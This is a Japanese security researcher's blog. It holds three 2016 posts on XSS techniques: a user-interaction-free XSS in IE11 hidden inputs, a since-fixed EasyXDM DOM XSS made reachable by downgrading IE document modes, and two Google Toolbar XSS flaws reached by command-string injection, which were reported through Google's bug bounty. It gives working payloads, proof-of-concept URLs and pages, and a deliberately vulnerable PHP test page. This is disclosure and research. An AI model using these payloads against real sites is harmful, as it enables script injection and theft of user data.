2016/04/14

hiddenなinput要素でユーザー操作を使わずにXSS

徳丸さんがブログで紹介されたことで、<input type=hidden>でのXSSが話題になっていますね!

hiddenなinput要素のXSSでJavaScript実行 | 徳丸浩の日記
http://blog.tokumaru.org/2016/04/hiddeninputxssjavascript.html

僕もちょうど、個人での検証の過程で発見した、hiddenでのXSS手法について、そろそろ共有しようと思っていたところでした。皆の関心が高いうちに、もう1つの方法を共有したいと思います!

徳丸さんのコードに倣って紹介します。今回は問題を簡単にするためにX-XSS-Protection:0をつけさせてもらいます。
<?php
header('X-XSS-Protection:0');
header('Content-Type:text/html;charset=utf-8');
?>
<body>
入力確認をお願いします。
<?php echo htmlspecialchars($_GET['t']); ?><br>
<form action='submit.php'>
<input type='hidden' name='t' value='<?php
  echo htmlspecialchars($_GET['t']); ?>'>
<input type='submit'>
</body>
この条件でIE11でユーザー操作を伴わないXSSをします!こうです!

http://example/test.php?t='style='behavior:url(?)'onreadystatechange='alert(1)
<body>
入力確認をお願いします。
'style='behavior:url(?)'onreadystatechange='alert(1)<br>
<form action='submit.php'>
<input type='hidden' name='t' value=''style='behavior:url(?)'onreadystatechange='alert(1)'>
<input type='submit'>
</body>
style属性にbehaviorをつけ、behaviorのURLの値に、任意の同一オリジン内のURLを指定すると、たとえhiddenの中でも、onreadystatechangeイベントが発火するようになります。
ただし、behaviorはIE10モード以下でないとサポートされていないので、ここにアクセスするだけでは動作しません。そこで、以前Shibuya.XSSの以下のスライドで紹介した、ドキュメントモードの継承というテクニックを使う必要があります。


ドキュメントモードを変えたページからフレームに埋め込めば、フレーム中のページのドキュメントモードも変更できるというテクニックでしたね。 というわけで、以下のようにIE10モードのページからフレームに埋め込めば、
<meta http-equiv="x-ua-compatible" content="IE=10">
<iframe src="http://example/test.php?t='style='behavior:url(?)'onreadystatechange='alert(1)"></iframe>
アラートが動作するはずです!
ちなみに、behaviorに指定したURLが一度キャッシュされると、onreadystatechangeイベントが発火しなくなるようなので注意してください。一度動いたのに動かなくなったという人は、このURLの文字列を適当な別のものに変えてみると、また動くようになると思います。

以上、IEでhiddenなinput要素でユーザー操作を使わずにXSSする手法を紹介しました。
もう1つ、Firefoxで、ユーザー操作不要の非常にトリッキーなhiddenでのXSS手法を知っています。これは次回の(?)ブログで紹介したいと思います。お楽しみに!

2016/04/08

EasyXDM 2.4.20で修正されたXSS

Update: English version is here: http://mksben.l0.cm/2016/04/easyxdm-xss-docmode-inheritance.html
------------------

EasyXDM というクロスドメインでのあれこれを便利にしてくれるライブラリの 2.4.20 で、自分の報告したXSS脆弱性が修正されています。使っている人はアップデートしましょう。

Release Security update - 2.4.20 · oyvindkinsey/easyXDM · GitHub
https://github.com/oyvindkinsey/easyXDM/releases/tag/2.4.20

以前にも脆弱性が指摘されていますが、それとは別の問題です。

http://blog.kotowicz.net/2013/09/exploiting-easyxdm-part-1-not-usual.html
http://blog.kotowicz.net/2013/10/exploiting-easyxdm-part-2-considered.html
http://blog.kotowicz.net/2014/01/xssing-with-shakespeare-name-calling.html


これ以下は技術的な説明です。
このバグはDOM based XSSなのですが、再現方法が少し変わっているので紹介します。

このXSSはIEでのみ動作します。おまけにドキュメントモードがIE7モード以下でないと起こりません。なぜかというと、XSSのある場所が、バグった挙動があると判断されたブラウザだけが通過する箇所にあり、その条件を満たすのが、IE7モード以下だけだからです。

次のcreateElement()の箇所でXSSが起きます。

https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L507-509
    if (HAS_NAME_PROPERTY_BUG) {
        frame = document.createElement("<iframe name=\"" + config.props.name + "\"/>");
    }

このif文の条件のHAS_NAME_PROPERTY_BUGという値が、バグった挙動があると判定されたブラウザだけtrueになります。設定しているのは、以下の部分です。

https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L474-482
function testForNamePropertyBug(){
    var form = document.body.appendChild(document.createElement("form")), input = form.appendChild(document.createElement("input"));
    input.name = IFRAME_PREFIX + "TEST" + channelId; // append channelId in order to avoid caching issues
    HAS_NAME_PROPERTY_BUG = input !== form.elements[input.name];
    document.body.removeChild(form);
    // #ifdef debug
    _trace("HAS_NAME_PROPERTY_BUG: " + HAS_NAME_PROPERTY_BUG);
    // #endif
}
formと名前付きのinputを作って、名前からinput要素にアクセスできるかテストしています。どうやら、IE7モード以下では、動的に作った名前付きの要素に、名前経由でアクセスできないバグがあるらしく、その回避策として、このようなコードで一度検証を行っているようです。

このテスト部分だけを実行できるページを以下に用意しました。IEでアクセスすることで、HAS_NAME_PROPERTY_BUGの値がtrueになることを確認できます。

http://vulnerabledoma.in/easyxdm/name_property_test.html

それでは、実際に脆弱なEasyXDMで、XSSが起きることを確認してみます。以下にIEでアクセスして、IEのF12開発者ツール( F12 → エミュレーション )から、ドキュメントモードをIE7以下にしてみてください。アラートが出るはずです。

http://vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0

これで、IE7モード以下でXSSが可能なことがわかりました。しかし、IE7モード以下でEasyXDMを利用しないとXSSが起こらないのでは、攻撃できる条件がかなり限られてしまいます。

そこで、最近公開した資料にも書いた、「ドキュメントモードの継承」というテクニックを使います。

ドキュメントモードを変更した親のフレームに埋め込むと、フレーム内のドキュメントモードも変更されるというテクニックでした。これを使ってみましょう。

http://l0.cm/easyxdm/poc.html
<meta http-equiv="x-ua-compatible" content="IE=5">
<iframe src="//vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0"></iframe>
<script>document.write("document.documentMode: "+document.documentMode)</script>
どうでしょうか?まだアラートは動かないはずです。親はIE=5指定により、IE5モードで動いているはずなのに、フレームの中のドキュメントモードは8までしか下がっていません。これは、フレーム内のページの先頭に<!DOCTYPE html>があるからです。この宣言がある場合、IE11では、フレームに埋め込んでも降格されるのは8までが限度になっています。XSSを成功させるにはなんとか7まで下げなければいけません。

ご安心ください。実は、さらに強力な継承方法があります。以下にIE11でアクセスしてみてください。

http://l0.cm/easyxdm/poc.eml

どうですか?今回はアラートが出たと思います。1つ前のページとの違いは、このページは、text/html ではなく、Content-Type: message/rfc822形式のページだということです。スライド中でも触れたのですが、IE11/Edgeは、今もmessage/rfc822形式のドキュメントをブラウザ内で開くことができます。(mhtml:という文字列はなくても開けます。)

message/rfc822形式のページは、デフォルトでIE5モードで表示されるようです。そしてどうやら、そこに埋め込んだフレームに対するドキュメントモードの継承の力が通常のtext/htmlよりも強いようなのです!例え、先頭に<!DOCTYPE html>があろうとも7までは降格させることができます。実際に、フレーム内のドキュメントモードをみると7まで下がっており、このおかげで、脆弱な箇所への到達に成功したことがわかります。

この手法を使えば、EasyXDMのXSSのように、IE7のドキュメントモードでしか再現しない問題を、脆弱性のあるページのドキュメントモードにかかわらず、また、ユーザによるドキュメントモードの切り替え操作なしに、攻撃可能な問題に発展させることができる、という訳です。

ちなみに、もう1つ強力な継承が起きる場所があります。それは、CVリスト(互換表示リスト)でIE7のドキュメントモードで表示指定しているサイトのフレームです。
CVリストはWindowsの以下の場所に保存されています。ここにリストされているドメインは、リストで指定したドキュメントモードで表示されるようになります。

%LOCALAPPDATA%\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

ここにリストしてもらうには、面倒な手続きが必要ですが、XSSのためにそんなことをする必要はありません。なぜなら、既にここにリストされているドメインのXSSを探してきてそのページ内にフレームを作ればいいだけだからです。めちゃくちゃなことを言っているように聞こえるかもしれませんが、その方がMicrosoftを騙して手続きするよりもはるかに簡単で現実的です。

実験してみましょう。CVリストに載っている以下のMicrosoftのドメインのページを開いて(※Under Construction と表示されますがそれでOKです )、

http://epim.partners.extranet.microsoft.com/
<domain docMode="EmulateIE7" versionVector="7" uaString="7">epim.partners.extranet.microsoft.com</domain>
F12開発者ツールのコンソール上で、以下を実行してみてください。フレーム内のページのドキュメントモードは7まで降格され、message/rfc822の時と同様にEasyXDMの脆弱箇所に到達し、アラートが出ると思います。
document.write('<iframe src="//vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0"></iframe>')
message/rfc822の強い継承に気付くまではこの方法で攻撃可能なことを証明していました。今となってはmessage/rfc822の方が簡単なので、あえてこっちを使う理由はありません。

以上、EasyXDMのXSSの技術的な部分を説明しました。

今月は余力があれば(2月、3月書いてない分)もう1つか2つ記事を書く予定です。

2016/01/29

Google Toolbarのコマンドを利用したXSS

2015年6月頃にみつけた、toolbar.google.com の、少し変わったXSSを2つ紹介します。

The English version is here: http://mksben.l0.cm/2016/01/google-toolbar-xss.html

何が変わっているか


このXSSは、Google ToolbarがインストールされているIEでしか動作しません。Google Toolbarがインストールされていると、toolbar.google.com 上に用意されたUIから、ツールバーを操作するコマンドを実行できるようになります。このコマンドを利用することでXSSに繋げるという点が、よくあるものとは異なります。

どのようにコマンドを実行しているか


toolbar.google.com 上の次のページをみると、こんなコードを発見できます。

http://toolbar.google.com/fixmenu
<script language="JavaScript"> <!--
function command(s) {
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
}
function fixMenu() {
command('&fixmenu=1');
alert(document.all['restartmessage'].innerText)
}
// -->
</script>
(省略)....
<input type=button onclick='javascript:fixMenu()' value="Reset IE's Toolbar menu">
このページでは、ツールバーの設定をリセットできるようになっています。

ページ内のボタンを押すと、fixmenu()command('&fixmenu=1')と関数が呼ばれます。command()関数では、window.location="http://toolbar.google.com/command?key="...に対してナビゲーションしようとしているようにみえますが、実はこれがコマンド実行操作です。Google Toolbarがインストールされている場合は、http://toolbar.google.com/command に対するナビゲーション操作が、ページ遷移ではなく、コマンドの実行と解釈されるようになります。 このURLにつけられたクエリが実行したいコマンド操作に対応しています。例えば、このページでできるツールバーのリセット操作は fixmenu=1に対応しています。

'...?key=' + document.googleTokenの部分は、外部から勝手にコマンドを実行させないためのCSRFトークンの役割をしています。document.googleTokenには、Google Toolbar が設定したランダムな値が入ります。この値が正しくないと、コマンドは実行されません。この値は、toolbar.google.com 上のみで参照可能です。

ざっと、こんな作りになっています。
こういう特殊な実装部分にはいかにも脆弱性がありそうです。なんだかおもしろそうなので、時は2015年ですが、Google Toolbarをインストールして詳しくみてみることにしました。

コマンドの調査


まずは、どんなコマンドがあるか、toolbar.google.com 上に書かれたコマンドをみてまわったり、Toolbarのバイナリを覗いてみたりしました。
見ていく中で、navigatetoというコマンドがあることがわかりました。

このコマンドは、名前の通り、ナビゲーションをするためのコマンドでした。toolbar.google.com 上で開いたコンソールで次を実行すると、example.com に対してナビゲーションが起きました。(※なお、最新のGoogle Toolbarではこのコマンドは無くなっているようです。)
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=http://example.com/"
ナビゲーションとわかれば、httpなURL以外でもナビゲーションできるか試してみたくなります。
この部分をjavascript:のURLに変えて試してみます。
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=javascript:alert(1)"
すると、アラートが実行されました!おお!でも、まだ喜ぶところではありません。
なぜなら、document.googleTokenの値が外からはわからないため、このコマンドを誰かに罠リンクを踏ませて実行させるようなことはできないからです。逆に言えば、document.googleTokenの値をどうにかして取得できれば、スクリプトを実行させられるかもしれません。

XSS脆弱性の発見 その1


なんとかならないかと、toolbar.google.com のページをみてまわっていると、次のようなページをみつけました。

http://toolbar.google.com/dc/dcuninstall.html (現在はページが無くなっています。 WebArchive でみれます。)
<script language="JavaScript"> <!--
  function command(s) {
    window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
  }
  function OnYes() {
    var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
    command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");
//    window.location=path + "dcuninstallfailed.html";
  }
// -->
</script>
...
      <script language="JavaScript"> <!--
document.write('<button default class=button name=yes ');
document.write('onclick="OnYes(); ">Uninstall Google Compute</button>');
// -->
</script> 
最初の例と同様に、ボタンを押すと、コマンドが実行されるようなページです。OnYes()からのcommand("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");で、コマンドの実行をしています。ここでそうしているように、& で繋げると複数のコマンドを一度に指定できるみたいです。
コマンドの詳細はさておき、注目すべきはここに含まれているpathという変数です。pathは直前で定義されています。
  var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
location.hrefからコマンドに含む文字列を受け取っている様子です。詳しくみると、URLの先頭から、 document.location.href.lastIndexOf("/") + 1で、URLの最後に出てくるスラッシュまでをsubstring()で切り取っています。このコードを書いた人が取り出したいのは、以下の太字部分の、ファイル名をのぞいたパスまででしょう。

https://toolbar.google.com/dc/dcuninstall.html

でも、この切り出し方は雑すぎます。余分なスラッシュをもっと後ろに入れられたら予想外のURLを切り取ることになります。

https://toolbar.google.com/dc/dcuninstall.html?xxx/yyy

この切り取った文字列はnavigateto=に連結されるので、ナビゲーションに使いたいようです。
ここではlocation.hrefの先頭から切り取っているため、いくら切り出すURLを間違えているとはいえ、一見、XSSどころかオープンリダイレクトバグにすらならないようにも思えます。

ところが、次のようなURLを与えたらどうでしょう? &がポイントです。

https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//

スラッシュはURL全体の一番最後にあるので、URL全てが切り取られることになります。
このURLがpathという変数に入り、コマンドとして実行されるときの値をみてみましょう。

http://toolbar.google.com/command?key=[TOKEN]&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//dcuninstalled.html


URL に & を挿入したことで、ページ側が指定したnavigateto=に渡るURLは挿入した&の手前で区切られることになります。その後ろに、自身でもう1つnavigateto=を追加します。すると、navigatetoのコマンドが2つあることになりますが、同じコマンドが複数あるときは、一番後ろにあるコマンドが実行されるようになっているようです。よって、発生するnavigatetoによるナビゲーションは、javascript:alert(1)//dcuninstalled.html に対するものになります。これで、アラートが実行されます!

このように、コマンドにユーザー入力値を不用心に引き渡している部分を利用することで、document.googleTokenを知らずとも、XSSに繋げることに成功しました。

XSS脆弱性の発見 その2


さらに、同じようなパターンでXSSできないか toolbar.google.com を漁っていると、また面白いページをみつけました。

https://toolbar.google.com/buttons/edit/index.html
<script language=JavaScript>
<!--
document.custom_button_uid = "";
function command(s) {
  window.location = "http://toolbar.google.com/command?key=" +
      document.googleToken + s;
}

function Load() {
  var url = window.document.URL.toString();
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);
      }
    }        
  }
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
  }
}
....
// -->
</script>
<body onload="Load()">
順に見ていきます。
ページを開くと、body onloadで、Load()関数が実行されます。
<body onload="Load()"> 
Load()関数では、document.URLから自身のURLをurl変数に入れ、
var url = window.document.URL.toString();
クエリを & で分解し、さらに = で分解して、パラメータ名と値のペアを取り出しています。
ここでは、太字部分にあるようにcustom_button_uriというパラメータを探しています。パラメータがあれば、その値をdocument.custom_button_uidという変数に代入するようになっています。
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);
      }
    }        
  }

ここで設定された、document.custom_button_uidはこのすぐ後で、コマンド実行関数へと引き渡されます。
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
  }
少なくとも、ユーザー入力値がcustom_button_uriというクエリを介してコマンド文字列として渡っているということです。危なっかしいかんじがしますが、&ごとにクエリを分解しているため、1つ目のXSSで示したような、単純に&で追加のコマンドを紛れ込ますような手は使えません。

XSSは無理かと思われましたが、もう一度、document.custom_button_uidを設定しているところをよくみてみると、
document.custom_button_uid = unescape(param_pieces[1]);
なんと都合がいいことに、custom_button_uriの値をunescape関数にかけているではありませんか。ということは、発見されると分解されてしまう & と = を以下のようにエンコードしてcustom_button_uriに渡せば、

https://toolbar.google.com/buttons/edit/index.html?custom_button_uri=%26navigateto%3Djavascript:alert(document.domain)

%26&%3D=にunescapeされ、最終的に実行されるコマンドは次のような、navigateto=を含むものになります。

http://toolbar.google.com/command?key=[TOKEN]&custom-button-load=&navigateto=javascript:alert(document.domain)

ドーン!



おわりに


この2件の問題はGoogle VRPを介して報告し、 $3133.7 × 2 の報奨金を獲得しました。
文書化されていないコマンドの動作を把握するのは大変でしたが、古い技術にひっそりと残っている脆弱性を暴けたときの喜びはひとしおでした。
古い技術とはいえ、特権が与えられた機能の実装が脆弱性に繋がってしまうことは、最近トレンドマイクロのパスワードマネージャでもあったように、今の時代の技術にも潜んでいる、今後も注意を払う必要がある普遍の部分だと思います。

最後に、この時期に毎年紹介しているGoogleからのクリスマスプレゼント、今年も頂いたので紹介したいと思います。(以前いただいたものはこちら: ChromebookNexus 10Nexus 5Moto 360 )

Googleのロゴ入りのUSB Armory というガジェットと、Bug Bountopoly(バグハンター版のモノポリー?!)、Googleセキュリティチームからのポストカードです。





日本語のメッセージと バグハンターのイラスト をかいてくれたのは、 夏に日本のGoogleオフィスでお会いしたセキュリティチームのStephenさんです。掲載許可をもらったので載せます。かわいい!

今年もXSS送りできるよう頑張ります!